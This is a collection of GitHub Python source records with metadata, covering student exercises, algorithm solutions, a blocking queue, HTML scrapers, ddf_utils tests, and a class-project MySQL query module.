self.direction,\n                self.supposedToBeHere)\n\n    def _updateMap(self, robot, mmap):\n        mmap.update(\n                self.coordinates,\n                self._getHazardData(robot, mmap, self.position),\n                _getBlobData(robot, self.position))\n\n    def _getHazardData(self, robot, mmap, position):\n        hazards = []\n        direction = position[2]\n        coordinates = [position[0], position[1]]\n\n        if robot.senseHazard():\n                frontCoord = _calculateCoordinates(coordinates, direction)\n                hazards.append(frontCoord)\n        for i in range(3):\n            robot.rotate()\n            direction = (direction + 1) % 4\n            if robot.senseHazard():\n                frontCoord = _calculateCoordinates(coordinates, direction)\n                hazards.append(tuple(frontCoord))\n        self.direction = (self.direction + 3) % 4\n        return hazards\n\n    def _moveInDirection(self, robot, curLocation, direction, destination):\n        while(destination != _calculateCoordinates(curLocation, direction)):\n            robot.rotate()\n            direction = _nextDirection(direction)\n        robot.move()\n","repo_name":"korimart/EasyPyGame","sub_path":"AddOn/Behavior.py","file_name":"Behavior.py","file_ext":"py","file_size_in_byte":6256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"48319395973","text":"from amlip_py.types.AmlipIdDataType import AmlipIdDataType\nfrom amlip_py.types.JobDataType import JobDataType\nfrom amlip_py.types.JobSolutionDataType import JobSolutionDataType\n\nfrom amlip_swig import AsyncMainNode as cpp_AsyncMainNode\nfrom amlip_swig import SolutionListener as cpp_SolutionListener\n\n\nclass SolutionListener(cpp_SolutionListener):\n    \"\"\"\n    Solution Listener class.\n    This object must execute solution_received method with each Solution message that is received\n    from node and must return the solution to the job.\n    \"\"\"\n\n    def solution_received(\n            self,\n            solution: JobSolutionDataType,\n            task_id,\n            server_id):\n        \"\"\"\n        Raise exception.\n        Abstract method.\n        This method should be reimplemented by child class.\n        \"\"\"\n        raise NotImplementedError('SolutionListener.solution_received must be specialized '\n                                  'before use.')\n\n\nclass SolutionListenerLambda(cpp_SolutionListener):\n    \"\"\"\n    Custom SolutionListener supporting to create it with a lambda function.\n    This object is created with a lambda function that is stored inside and used for every\n    JobSolution message received.\n    \"\"\"\n\n    def __init__(self, callback):\n        \"\"\"Construct new object with lambda as callback.\"\"\"\n        self.callback_ = callback\n        super().__init__()\n\n    def solution_received(\n            self,\n            solution: JobSolutionDataType,\n            task_id,\n            server_id):\n        \"\"\"Call internal lambda.\"\"\"\n        return self.callback_(solution, task_id, server_id)\n\n\nclass AsyncMainNode(cpp_AsyncMainNode):\n    \"\"\"\n    AML-IP Asynchronous Main Node.\n    TODO\n    \"\"\"\n\n    def __init__(\n            self,\n            name: str,\n            domain: int = None,\n            callback=None,\n            listener: SolutionListener = None):\n        \"\"\"\n        Create a new Async Main Node with a given name.\n        Parameters\n        ----------\n        name : str\n            Name of the node.\n        \"\"\"\n        # Set listener by one given or creating one for callback\n        self.listener_ = None\n        if listener and callback:\n            raise ValueError(\n                'AsyncMainNode constructor expects a listener object or a callback, both given.')\n\n        elif listener:\n            self.listener_ = listener\n\n        elif callback:\n            self.listener_ = SolutionListenerLambda(callback)\n\n        else:\n            raise ValueError(\n                'AsyncMainNode constructor expects a listener object or a callback, none given.')\n\n        # Parent class constructor\n        if domain is None:\n            super().__init__(name, self.listener_)\n        else:\n            super().__init__(name, self.listener_, domain)\n\n    def request_job_solution(\n            self,\n            data: JobDataType):\n        \"\"\"\n        Send a job to a ComputingNode to be executed, without actively waiting (async).\n        Parameters\n        ----------\n        data : StringJobDataType\n            Job that will be send to process by a computing node.\n        Return\n        ------\n        Task id associated to the job given\n        \"\"\"\n        return cpp_AsyncMainNode.request_job_solution(self, data)\n\n    def get_id(\n            self) -> AmlipIdDataType:\n        \"\"\"Get AMLIP id of the node.\"\"\"\n        return cpp_AsyncMainNode.id(self)\n","repo_name":"eProsima/AML-IP","sub_path":"amlip_py/amlip_py/node/AsyncMainNode.py","file_name":"AsyncMainNode.py","file_ext":"py","file_size_in_byte":3390,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"5869740795","text":"\"\"\"\nEjercicio 01d\n\nEscribir funciones que dada una cadena de caracteres:\n\ncad = \"En un lugar de la Mancha de cuyo nombre no quiero acordarme\"\n\nd) Retorne dicha cadena en sentido inverso.\n\nEj.: '¡Hola mundo!' debe imprimir '!odnum aloH¡'\n\n### TESTS\n\n>>> cad = 'En un lugar de la Mancha de cuyo nombre no quiero acordarme'\n>>> inversa(cad)\n'emradroca oreiuq on erbmon oyuc ed ahcnaM al ed ragul nu nE'\n\n>>> inversa(\"¡Hola mundo!\")\n'!odnum aloH¡'\n\n>>> inversa_2(cad)\n'emradroca oreiuq on erbmon oyuc ed ahcnaM al ed ragul nu nE'\n\n\"\"\"\n\n\ndef inversa(cad):\n    salida = \"\"\n    for i in range(len(cad)-1, -1, -1):\n        salida += cad[i]\n    return(salida)\n\n\ndef inversa_2(cad):\n    return(cad[::-1])\n\n\nif __name__ == '__main__':\n    import doctest\n    doctest.testmod()\n","repo_name":"mentecatoDev/python","sub_path":"cadenas/01d.py","file_name":"01d.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"es","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"74213003768","text":"'''\r\nLongest Common Subsequence from AlgoExpert.io\r\nMarch 2021 Jakub Kazimierski\r\n'''\r\n\r\ndef longestCommonSubsequence(str1, str2):\r\n    '''\r\n    Write a function that takes in two strings\r\n    and returns their longest common subsequence.\r\n\r\n    A subsequence of a string is a set of characters\r\n    that aren't necessarily adjacent in the string but\r\n    that are in the same order as they appear in the string.\r\n    For instance, the characters [\"a\", \"c\", \"d\"] form a subsequence\r\n    of the string \"abcd\", and so do the charaters [\"b\", \"d\"]. Note\r\n    that a single character in a string and the string itself are\r\n    both valid subsequences of the string. \r\n\r\n    You can assume that there will only be one longest common\r\n    subsequence.\r\n    '''\r\n    \r\n    # empty matrix NxM where n and m are lengths of strings\r\n    lcs = [[[] for _ in range(len(str1)+1)] for _ in range(len(str2)+1)]\r\n\r\n    for row_id in range(1, len(str2) + 1):\r\n        for col_id in range(1, len(str1) + 1):\r\n            if str2[row_id-1] == str1[col_id-1]:\r\n                lcs[row_id][col_id] = lcs[row_id-1][col_id-1] + [str2[row_id-1]]\r\n            else:\r\n                lcs[row_id][col_id] = max(lcs[row_id-1][col_id], lcs[row_id][col_id-1], key=len) \r\n\r\n    return lcs[-1][-1]\r\n\r\n    # Time O(n*m*min(m,n)) due to comparision each row and column \r\n    # and also concatenating string at each comparition in worst case\r\n    # Space O(n*m*min(n,m))              ","repo_name":"JakubKazimierski/PythonPortfolio","sub_path":"AlgoExpert_algorithms/Hard/LongestCommonSubsequence/LongestCommonSubsequence.py","file_name":"LongestCommonSubsequence.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"77"}
+{"seq_id":"36491848063","text":"import random\n\nfrom consts import RANDOM_BALL_MARGIN, WINDOW_HEIGHT\n\n\nclass Ball:\n  def __init__(self, x, y, radius, max_velocity):\n    self.x = self.original_x = x\n    self.y = self.original_y = y\n    self.radius = radius\n    self.x_velocity = max_velocity\n    self.y_velocity = 0\n  \n  def move(self):\n    self.x += self.x_velocity\n    self.y += self.y_velocity\n  \n  def reset(self):\n    self.x = self.original_x\n    self.y = self.original_y\n    self.y_velocity = 0\n    self.x_velocity *= -1\n  \n  def random(self):\n    random_direction = random.randint(1, 100)\n    if random_direction > 50:\n      self.x_velocity *= -1\n    \n    random_y = random.randint(RANDOM_BALL_MARGIN, WINDOW_HEIGHT - RANDOM_BALL_MARGIN)\n    self.y = random_y\n\n    ","repo_name":"code-hero-projects/pong-ai","sub_path":"models/Ball.py","file_name":"Ball.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"20368063339","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport numpy as np\nimport pandas as pd\nimport shutil\nimport tempfile\nimport pytest\nfrom ddf_utils.chef.api import Chef\nfrom ddf_utils.chef.exceptions import IngredientError, ProcedureError, ChefRuntimeError\n\n\nwd = os.path.dirname(__file__)\n\n\ndef chef_fn(fn):\n    return Chef.from_recipe(os.path.join(wd, 'recipes', fn),\n                            ddf_dir=os.path.join(wd, 'datasets'),\n                            procedure_dir=os.path.join(wd, 'procedures'))\n\n\ndef test_debug_option():\n    chef = chef_fn('test_debug_option.yaml')\n    chef.run()\n    assert os.path.exists('./_debug/dps_key_translated')\n    assert os.path.exists('./_debug/res')\n\n    # cleanup\n    shutil.rmtree('./_debug/')\n\n\ndef test_include():\n    chef = chef_fn('test_include_main.yml')\n    chef.run()\n\n\ndef test_include_fail():\n    with pytest.raises(ChefRuntimeError):\n        chef = chef_fn('test_include_fail_main.yaml')\n        chef.run()\n\n\ndef test_extract_concepts():\n    chef = chef_fn('test_extract_concepts.yaml')\n    res = chef.run()\n    res = res[0].get_data()['concept']\n\n    assert 'geo' in res.concept.values\n    assert 'year' in res.concept.values\n    assert res.set_index('concept').loc['year', 'concept_type'] == 'time'\n\n\ndef test_filter():\n    chef = chef_fn('test_filter.yaml')\n    res = chef.run()\n    res_ent = list(filter(lambda x: True if x.dtype == 'entities' else False, res))[0]\n    res_dps = list(filter(lambda x: True if x.dtype == 'datapoints' else False, res))[0]\n\n    country = res_ent.get_data()['country']\n    dps = res_dps.compute()\n\n    assert set(dps.keys()) == {'imr_upper', 'imr_lower'}\n    for dp in dps.values():\n        # assert dp.year.dtype == np.int64\n        assert np.all(dp.year > \"2000\")\n        assert set(dp.country.unique()) == {'usa', 'swe'}\n\n    assert set(country.columns) == {'country', 'countryname'}\n    assert set(country.country.values) == {'usa', 'swe'}\n\n\ndef test_flatten():\n    chef = chef_fn('test_flatten.yml')\n    res = chef.run()\n\n    for r in res:\n        print(r.compute().keys())\n\n    assert set(res[0].compute().keys()) == {\n        'agriculture_thousands_f', 'agriculture_thousands_m',\n        'agriculture_percentage_f', 'agriculture_percentage_m',\n        'agriculture_thousands', 'agriculture_percentage'}\n\n    # assert res[0].compute()['agriculture_percentage_m'].dtypes['year'] == np.int64\n\n\ndef test_groupby():\n    chef = chef_fn('test_groupby.yaml')\n    chef.run()\n\n    dp1 = chef.dag.get_node('grouped-datapoints-1').evaluate().compute()\n    dp2 = chef.dag.get_node('grouped-datapoints-2').evaluate().compute()\n\n    assert len(dp1.keys()) == 1\n    assert len(dp2.keys()) == 1\n    assert set(dp1['agriculture_percentage'].columns) == {'country', 'year', 'agriculture_percentage'}\n    assert set(dp2['agriculture_thousands'].columns) == {'country', 'year', 'agriculture_thousands'}\n    # assert dp1['agriculture_percentage'].dtypes['year'] == np.int16\n    # assert dp2['agriculture_thousands'].dtypes['year'] == np.int16\n\n\ndef test_custom_procedure():\n    chef = chef_fn('test_import_procedure.yml')\n    chef.run()\n\n\ndef test_ingredients():\n    for i in range(1, 4):\n        chef = chef_fn('test_ingredients_{}.yaml'.format(i))\n        chef.run()\n\n\ndef test_translate_column():\n    chef = chef_fn('test_translate_column.yaml')\n    chef.run()\n\n    res = chef.dag.get_node('bp-datapoints-aligned').evaluate().compute()\n\n\ndef test_translate_header():\n    chef = chef_fn('test_translate_header.yaml')\n    res = chef.run()\n\n    indicators = ['infant_mortality_median', 'imr_lower']\n    data = res[0].compute()\n\n    assert set(data.keys()) == set(indicators)\n    for i in indicators:\n        assert set(data[i].columns) == set(['geo', 'time', i])\n        # assert data[i].dtypes['time'] == np.int64\n\n    data = res[1].get_data()\n    assert 'city' in data.keys()\n    assert 'city' in data['city'].columns\n    assert 'is--city' in data['city'].columns\n\n\ndef test_translate_header_fail():\n    chef = chef_fn('test_translate_header_fail_1.yaml')\n    with pytest.raises(ValueError):\n        chef.run()\n\n    chef = chef_fn('test_translate_header_fail_2.yaml')\n    with pytest.raises(ValueError):\n        chef.run()\n\n    chef = chef_fn('test_translate_header_fail_3.yaml')\n    with pytest.raises(ValueError):\n        chef.run()\n\n\ndef test_trend_bridge():\n    chef = chef_fn('test_trend_bridge.yml')\n    chef.run()\n\n    res = chef.dag.get_node('res-1').evaluate().compute()\n    # assert res['imr_lower'].dtypes['year'] == np.int64\n\n\ndef test_window():\n    chef = chef_fn('test_window.yaml')\n    chef.run()\n\n    dp1 = chef.dag.get_node('rolling_datapoints_1').evaluate().compute()\n    dp2 = chef.dag.get_node('rolling_datapoints_2').evaluate().compute()\n    dp3 = chef.dag.get_node('rolling_datapoints_3').evaluate().compute()\n    dp4 = chef.dag.get_node('rolling_datapoints_4').evaluate().compute()\n\n    assert dp1['value']['value'].tolist() == [1, 1, 1, 1, 1, 1, 1, 1.5, 2, 3, 4, 5]\n    assert dp2['value']['value'].tolist() == [1, 2, 3, 4, 5, 6, 1, 3, 6, 10, 15, 21]\n    assert dp3['value']['value'].tolist() == [1, 1, 1, 1, 1, 1, 1, 1.5, 2, 3, 4, 5]\n    assert dp4['value']['value'].tolist() == [1, 2, 3, 4, 5, 6, 1, 3, 6, 10, 15, 21]\n\ndef test_serving():\n    chef1 = chef_fn('test_serve_procedure.yaml')\n    res = chef1.run()\n    assert len(res) == 3\n\n    chef2 = chef_fn('test_serving_section.yaml')\n    tmpdir = tempfile.mkdtemp()\n    res = chef2.run(serve=True, outpath=tmpdir)\n    assert len(res) == 3\n    assert os.path.exists(os.path.join(tmpdir, 'test_serving'))\n\n\ndef test_merge():\n    chef = chef_fn('test_merge.yaml')\n    res = chef.run()\n\n    data = res[0].compute()\n    indicators = ['imr_lower', 'imr_median', 'imr_upper',\n                  'biofuels_production_kboed', 'biofuels_production_ktoe']\n    assert set(data.keys()) == set(indicators)\n    # assert data['imr_median'].dtypes['year'] == np.int64\n\n    imr_lower = data['imr_lower'].set_index(['geo', 'year'])\n    assert imr_lower.loc[('afg', \"1961\"), 'imr_lower'] == 2055\n\n\ndef test_merge_2():\n    chef = chef_fn('test_merge_2.yaml')\n    res = chef.run()\n\n    data = res[0].get_data()\n    data = data['concept'].set_index('concept')\n    assert data.loc['col1', 'col1'] == 'testing1'\n    assert data.loc['col2', 'col2'] == 'testing2'\n    assert data.loc['col1', 'col2'] == 'bar'\n    assert data.loc['col2', 'col1'] is np.nan\n\ndef test_merge_3():\n    chef = chef_fn('test_merge_3.yaml')\n    res = chef.run()\n\n    data = res[0].compute()\n    data = data['indicator'].set_index(['country', 'year'])\n    assert data.loc[('chn', 2000), 'indicator'] == 1\n    assert data.loc[('chn', 2001), 'indicator'] == 2\n    assert data.loc[('chn', 2002), 'indicator'] == 3\n    assert data.loc[('chn', 2003), 'indicator'] == 3\n    assert data.loc[('chn', 2004), 'indicator'] == 3\n\n\ndef test_merge_fail():\n    chef = chef_fn('test_merge_fail.yaml')\n    with pytest.raises(ProcedureError):\n        chef.run()\n\n\ndef test_dag_fail():\n    chef = chef_fn('test_dag_fail.yaml')\n    with pytest.raises(ChefRuntimeError):\n        chef.run()\n\n\ndef test_run_op():\n    chef = chef_fn('test_run_op.yaml')\n    chef.run()\n\n    res = chef.dag.get_node('res').evaluate().compute()\n    # assert res['mean_imr'].dtypes['year'] == np.int16\n\n\ndef test_import_procedure_fail():\n    chef = chef_fn('test_import_procedure.yml')\n    chef.add_procedure('datapoints', 'nonexists', ['result'], result='error-ing')\n    try:\n        chef.run()\n    except ChefRuntimeError:\n        pass\n\n\ndef test_ops():\n    from ddf_utils.chef.ops import gt, lt, between, aagr\n\n    x = np.ones(1000)\n    assert gt(x, 0)\n    assert gt(x, 1, include_eq=True)\n    assert not gt(x, 2)\n\n    assert lt(x, 2)\n    assert lt(x, 1, include_eq=True)\n    assert not lt(x, 0)\n\n    assert between(x, 0, 2)\n\n    assert np.all(aagr(pd.DataFrame(x)) == 0)\n","repo_name":"semio/ddf_utils","sub_path":"tests/chef/test_procedures.py","file_name":"test_procedures.py","file_ext":"py","file_size_in_byte":7817,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"29377898279","text":"gen=input(\"Ingrese secuencia: \")\ngen=gen.upper()\ngenomas=[\"A\",\"C\",\"T\",\"G\"]\nlg=len(gen)\nfor i in range(lg):\n    if gen[i] in genomas:\n        continue\n    else:\n        print(\"incorrecta\")\nprint(\"correcta\")","repo_name":"pabloschwarzenberg/grader","sub_path":"hito2_ej2/hito2_ej2_85e628b9a69e69bf2ed9360f397dde90.py","file_name":"hito2_ej2_85e628b9a69e69bf2ed9360f397dde90.py","file_ext":"py","file_size_in_byte":205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"25811014767","text":"from threading import Condition, Lock\n\nclass BoundedBlockingQueue(object):\n\n    def __init__(self, capacity: int):\n        self.capacity = capacity\n        self.lock = Lock()\n        self.is_not_empty = Condition(self.lock)\n        self.is_not_full = Condition(self.lock)\n        self.queue = []\n\n\n    def enqueue(self, element: int) -> None:\n        with self.lock:\n            while len(self.queue) == self.capacity:\n                self.is_not_full.wait()\n            self.queue.append(element)\n            self.is_not_empty.notify()\n\n    def dequeue(self) -> int:\n        with self.lock:\n            while not self.queue:\n                self.is_not_empty.wait()\n            element, self.queue = self.queue[0], self.queue[1:]\n            self.is_not_full.notify()\n            return element\n\n\n    def size(self) -> int:\n        return len(self.queue)\n","repo_name":"dandavison/misc-python","sub_path":"lc-design-bounded-blocking-queue.py","file_name":"lc-design-bounded-blocking-queue.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"14528215952","text":"#!usr/bin/env python\n# -*- coding:utf-8 -*-\n# -----------------------------------------------------------\n# File Name: collector\n# Author:    fan20200225\n# Date:      2020/5/22 0022\n# -----------------------------------------------------------\nfrom lxml import etree  # 解析html文本\nimport re\n\n\ndef parse_wb_page(htmlsource: str) -> list:\n    \"\"\"\n    使用xpath进行页面解析，获取图片相关信息，按数据结构组合并返回\n    :param htmlsource: html文本（str）\n    :return: 含图片链接的数据结构\n    \"\"\"\n    tree = etree.HTML(htmlsource)\n    cardxpath = '//article'  # 匹配所有微博‘卡片’路径\n    textxpath = 'div/div/text()'  # 匹配当前微博卡片下微博文本\n    imgurlxpath = 'div[@class=\"weibo-og\"]//img/attribute::src'  # 匹配当前微博卡片下所有图片（含无用图）\n    # src_urls = tree.xpath('//article//div[@class=\"weibo-og\"]//li[@class=\"m-auto-box\"]//img/attribute::src')\n    cards = tree.xpath(cardxpath)\n    wbimg_data = []\n    imgdic = dict()\n    for card in cards:\n        dic = imgdic.copy()\n        texts = card.xpath(textxpath)\n        imgurls = card.xpath(imgurlxpath)\n        # print(texts)\n        # print(imgurls)\n        if len(imgurls) >= 1:\n            imgname = \"\".join([re.sub('[\\\\\\/?*:><|\\\"]+', \"\", text) for text in texts]).strip()\n            imgurls = [url.replace(\"orj360\", \"large\") for url in imgurls if url.endswith(\".jpg\")]\n            dic[\"name\"] = imgname\n            dic[\"urls\"] = imgurls\n            wbimg_data.append(dic)\n    return wbimg_data\n\n\ndef parse_owhat_rank(htmlsource: str) -> list:\n    tree = etree.HTML(htmlsource)\n    eachonexpath = '//div[@class=\"each_one\"]'\n    eachonenamepath = \"div/h2/text()\"\n    eachoneyuanpath = \"div/h2/cite/text()\"\n    eachones = tree.xpath(eachonexpath)\n    rank = []\n    for eachone in eachones:\n        record = dict().copy()\n        record[\"name\"] = eachone.xpath(eachonenamepath)[0]\n        record[\"yuan\"] = eachone.xpath(eachoneyuanpath)[0]\n        rank.append(record)\n    # save detail data to csv file\n    lines = [\"{},{}\\n\".format(i[\"name\"], i[\"yuan\"]) for i in rank]\n    with open(\"csv.csv\", \"w\", encoding=\"utf-8\") as f:\n        f.writelines(lines)\n    return rank\n\n\nif __name__ == \"__main__\":\n    with open(\"html.html\", \"r\", encoding=\"utf-8\") as f:\n        htmlsource = f.read()\n    parse_owhat_rank(htmlsource)\n\n","repo_name":"fanch-luck/spiders","sub_path":"collector/htmlparsers.py","file_name":"htmlparsers.py","file_ext":"py","file_size_in_byte":2372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"70649226810","text":"import pymysql\nimport pymysql.cursors\n\nclass Mysql:\n    SQL = [\n        # CONSULTA 0\n        \"\"\" \n            SELECT * FROM Region;\n        \"\"\",\n        # CONSULTA 1\n        \"\"\"\n            SELECT p.nombre Profesional, COUNT(i.id_invento) Inventos_asignados\n            FROM Profesional p\n            INNER JOIN Invento i ON i.id_profesional = p.id_profesional \n            GROUP BY p.nombre\n            ORDER BY Inventos_asignados DESC;\n        \"\"\",\n        # CONSULTA 2\n        \"\"\"\n            SELECT p.nombre Pais, COUNT(rp.id_pregunta) Respuestas\n            FROM Pais p\n            LEFT JOIN Respuesta_pais rp ON rp.id_pais = p.id_pais\n            GROUP BY Pais\n            ORDER BY Respuestas DESC;\n        \"\"\",\n        # CONSULTA 3\n        \"\"\"\n            SELECT p.nombre Pais, p.area Area\n            FROM Pais p\n            LEFT JOIN Frontera f ON f.id_pais = p.id_pais \n            LEFT JOIN Inventor i ON i.id_pais = p.id_pais \n            WHERE i.id_pais IS NULL\n            AND f.id_pais IS NULL\n            ORDER BY p.area DESC;\n        \"\"\",\n        # CONSULTA 4\n        \"\"\"\n            SELECT \n                a.nombre Area, \n                (\n                    SELECT p2.nombre Jefazo\n                    FROM Area a \n                    INNER JOIN Profesional p2 ON p2.id_profesional = a.prof_jefe \n                    WHERE a.nombre ='TODAS'\n                ) `Jefe de jefes`,\n                p2.nombre Jefe, \n                p.nombre Subalternos\n            FROM Area a\n            INNER JOIN Area_prof ap ON ap.id_area = a.id_area \n            LEFT JOIN Profesional p ON p.id_profesional = ap.id_profesional\n            INNER JOIN Profesional p2 ON p2.id_profesional = a.prof_jefe \n            ORDER BY Jefe, Subalternos;\n        \"\"\",\n        # CONSULTA 5\n        \"\"\"\n            SELECT a.nombre Area, p.nombre Prof, p.salario Salario, Promedio.prom Prom\n            FROM Profesional p \n            INNER JOIN Area_prof ap ON ap.id_profesional = p.id_profesional \n            INNER JOIN Area a ON a.id_area = ap.id_area\n            INNER JOIN (\n                SELECT a.id_area , AVG(p.salario) prom\n                FROM Profesional p \n                INNER JOIN Area_prof ap ON ap.id_profesional = p.id_profesional \n                INNER JOIN Area a ON a.id_area = ap.id_area\n                GROUP BY a.id_area\n            ) AS Promedio ON Promedio.id_area = a.id_area \n            WHERE Salario > Prom;\n        \"\"\",\n        # CONSULTA 6\n        \"\"\"\n            SELECT p.nombre Pais, COUNT(r.correcta) Correctas\n            FROM Pais p \n            INNER JOIN Respuesta_pais rp ON rp.id_pais = p.id_pais \n            INNER JOIN Respuesta r ON r.id_respuesta = rp.id_respuesta\n            WHERE r.correcta = 'Y'\n            GROUP BY pais\n            ORDER BY correctas DESC;\n        \"\"\",\n        # CONSULTA 7\n        \"\"\"\n            SELECT i.nombre Invento, p.nombre Profesional, a.nombre Area\n            FROM Invento i \n            INNER JOIN Profesional p ON p.id_profesional = i.id_profesional\n            INNER JOIN Area_prof ap ON ap.id_profesional = p.id_profesional \n            INNER JOIN Area a ON a.id_area = ap.id_area\n            WHERE a.nombre = 'Óptica';\n        \"\"\",\n        # CONSULTA 8\n        \"\"\"\n            SELECT LEFT(p.nombre,1) Inicial, SUM(area) Area\n            FROM Pais p \n            GROUP BY inicial\n            ORDER BY inicial;\n        \"\"\",\n        # CONSULTA 9\n        \"\"\"\n            SELECT i.nombre Inventor, i2.nombre Invento\n            FROM Inventor i \n            INNER JOIN Asignacion a ON i.id_inventor = a.id_inventor \n            INNER JOIN Invento i2 ON i2.id_invento = a.id_invento \n            WHERE i.nombre LIKE 'be%';\n        \"\"\",\n        # CONSULTA 10\n        \"\"\"\n            SELECT i.nombre Inventor, i2.nombre Invento, i2.anio Anio \n            FROM Inventor i \n            INNER JOIN Asignacion a ON i.id_inventor = a.id_inventor \n            INNER JOIN Invento i2 ON i2.id_invento = a.id_invento AND i2.anio <= 1900 AND i2.anio >= 1801\n            WHERE i.nombre LIKE 'b%r' OR i.nombre LIKE 'b%n';\n        \"\"\",\n        # CONSULTA 11\n        \"\"\"\n            SELECT p.nombre Pais, p.area Area, COUNT(f.id_pais_frontera) Fronteras\n            FROM Pais p \n            INNER JOIN Frontera f ON f.id_pais = p.id_pais \n            GROUP BY p.nombre, p.area \n            HAVING fronteras > 7\n            ORDER BY p.area DESC;\n        \"\"\",\n        # CONSULTA 12\n        \"\"\"\n            SELECT i.nombre Invento\n            FROM Invento i \n            WHERE i.nombre LIKE 'l___';\n        \"\"\",\n        # CONSULTA 13\n        \"\"\"\n            SELECT p.nombre Prof, p.salario Salario, p.comision Comision, (p.salario+p.comision) Total\n            FROM Profesional p\n            WHERE comision >0.25*salario;\n        \"\"\",\n        # CONSULTA 14\n        \"\"\"\n            SELECT e.nombre Encuesta, COUNT(p2.id_pais) Paises\n            FROM Respuesta_pais rp\n            INNER JOIN Pais p2 ON p2.id_pais = rp.id_pais \n            INNER JOIN Pregunta p ON rp.id_pregunta = p.id_pregunta \n            INNER JOIN Encuesta e ON e.id_encuesta = p.id_encuesta\n            GROUP BY encuesta\n            ORDER BY paises DESC;\n        \"\"\",\n        # CONSULTA 15\n        \"\"\"\n            SELECT p.nombre Pais, p.poblacion Poblacion\n            FROM Pais p,(\n                SELECT SUM(p.poblacion) poblacion_c\n                FROM Pais p\n                INNER JOIN Region r ON r.id_region = p.id_region \n                WHERE r.nombre = 'Centro America'\n            )AS centro\n            WHERE p.poblacion > poblacion_c\n            ORDER BY p.poblacion DESC;\n        \"\"\",\n        # CONSULTA 16\n        \"\"\"\n            SELECT ar.nombre Area, pr.nombre Prof\n            FROM Profesional pr, Area ar, (\n                SELECT ap.id_area id\n                FROM Profesional p \n                INNER JOIN Invento i ON i.id_profesional = p.id_profesional \n                INNER JOIN Asignacion a ON a.id_invento = i.id_invento \n                INNER JOIN Inventor i2 ON i2.id_inventor = a.id_inventor \n                INNER JOIN Area_prof ap ON ap.id_profesional = p.id_profesional \n                WHERE i2.nombre = 'Pasteur'\n            )AS betado\n            WHERE ar.prof_jefe = pr.id_profesional AND ar.id_area != betado.id;\n        \"\"\",\n        # CONSULTA 17\n        \"\"\"\n            SELECT i3.nombre Invento\n            FROM Invento i\n            INNER JOIN Asignacion a ON a.id_invento = i.id_invento \n            INNER JOIN Inventor i2 ON i2.id_inventor = a.id_inventor AND i2.nombre = 'benz'\n            INNER JOIN Invento i3 ON i3.anio = i.anio;\n        \"\"\",\n        # CONSULTA 18\n        \"\"\"\n            SELECT p.nombre Pais, p.area Area,(\n                SELECT p2.area \n                FROM Pais p2 \n                WHERE p2.nombre = 'Japon'\n            ) Japon_area\n            FROM Pais p \n            LEFT JOIN Frontera f ON f.id_pais = p.id_pais \n            WHERE f.id_pais_frontera IS NULL\n            HAVING Japon_area<=p.area;\n        \"\"\",\n        # CONSULTA 19\n        \"\"\"\n            SELECT p.nombre Pais, COUNT(f.id_pais_frontera) Fronteras\n            FROM Pais p \n            INNER JOIN Frontera f ON f.id_pais = p.id_pais \n            GROUP BY p.nombre\n            HAVING fronteras = 1;\n        \"\"\",\n        # CONSULTA 20\n        \"\"\"\n            SELECT p.nombre Prof, p.salario Salario, p.comision Comision\n            FROM Profesional p \n            WHERE p.salario > 2*p.comision;\n        \"\"\"\n    ]\n    \n    def __init__(self):\n        self.connection = pymysql.connect(\n            # host=\"localhost\", \n            host='172.19.0.4',\n            user=\"root\", \n            passwd=\"12345678\", \n            db=\"P2Bases\", \n            cursorclass=pymysql.cursors.DictCursor, \n            sql_mode=''\n        )\n        \n    def consulta(self, num):\n        with self.connection.cursor() as cursor:\n            cursor.execute(self.SQL[num])\n            res = cursor.fetchall()\n        self.connection.close()\n        return res\n","repo_name":"Askaredox/bases-proyecto2","sub_path":"bases-flask/mysql.py","file_name":"mysql.py","file_ext":"py","file_size_in_byte":7992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"4505335092","text":"\n# how to use map() function\n\"\"\"\nit's have two argument .\n1. function\n2. iterator object ( aply function depend iterator object )\n\n\"\"\"\n\nmy_list =[2,3,4,5,6,7,8]\n\ndef squre(x):\n    return x * x *x\nnew_list = (map(squre,my_list))  # use map() function\nprint(new_list)\nprint(list(new_list))\n\nprint()\n\n# A programe use to map() function to collect user input\n\nprint('Enter two input number: ')\na,b =map(int ,input().split())\nz= a+b\nprint(z)\n\nprint()\n\n# how to use filter() function :\n\n\"\"\"\nit's have two argument .\n1. function\n2. iterator object ( aply function depend iterator object )\n\nwork:filter() use to filter if any item return false than filter() function avoid this return result. \n\n\"\"\"\n\nmy_list=[1,5,9,4,7,5,6,3,8]\n\ndef separation (x):\n    if x%2==0:\n        return True\n    else:\n        return False\n\nnew_list=(filter(separation,my_list))\nprint(new_list)\nprint(list(new_list))","repo_name":"Md-Hafizur-Rahman/Python-Code","sub_path":"BuldInFunction.py","file_name":"BuldInFunction.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
